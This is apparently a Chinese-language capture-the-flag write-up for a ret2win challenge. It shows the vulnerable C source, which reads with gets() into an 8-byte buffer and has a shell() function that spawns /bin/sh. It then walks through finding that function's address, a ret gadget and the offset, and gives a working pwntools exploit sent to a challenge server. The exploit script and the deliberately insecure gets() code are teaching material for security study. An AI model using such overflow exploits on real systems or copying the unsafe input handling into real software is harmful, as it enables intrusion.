原始碼
#include <stdio.h>
int shell(){
system("/bin/sh");
}
void init_IOBUF(){
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
}
int main(){
init_IOBUF();
char buffer[8];
gets(buffer);
return 0;
}
解題
解題思路
目標要跳到shell()這個function,且因為我們要用overflow之後直接跳過去,所以需要補一個ret,去讓記憶體對齊
確認保護機制
checksec --file=chal

尋找需要的資訊
尋找 shell 位置
objdump -d chal|grep -A 10 "<shell>"

0000000000401176 <shell>:
尋找 ret 位置
ROPgadget --binary chal --only "ret"

0x000000000040101a : ret
計算要overflow的大小
gdb ./chal
b main
run

0xdf48-0xdf38=0x10
實際payload
from pwn import *
context.arch = 'amd64'
host="66.235.110.67"
port=20000
r=remote(host,port)
shell=0x401176
p=flat(
b'a'*0x10,
0x40101a,
shell
)
r.sendline(p)
r.interactive()
r.close()
flag



說些什麼吧!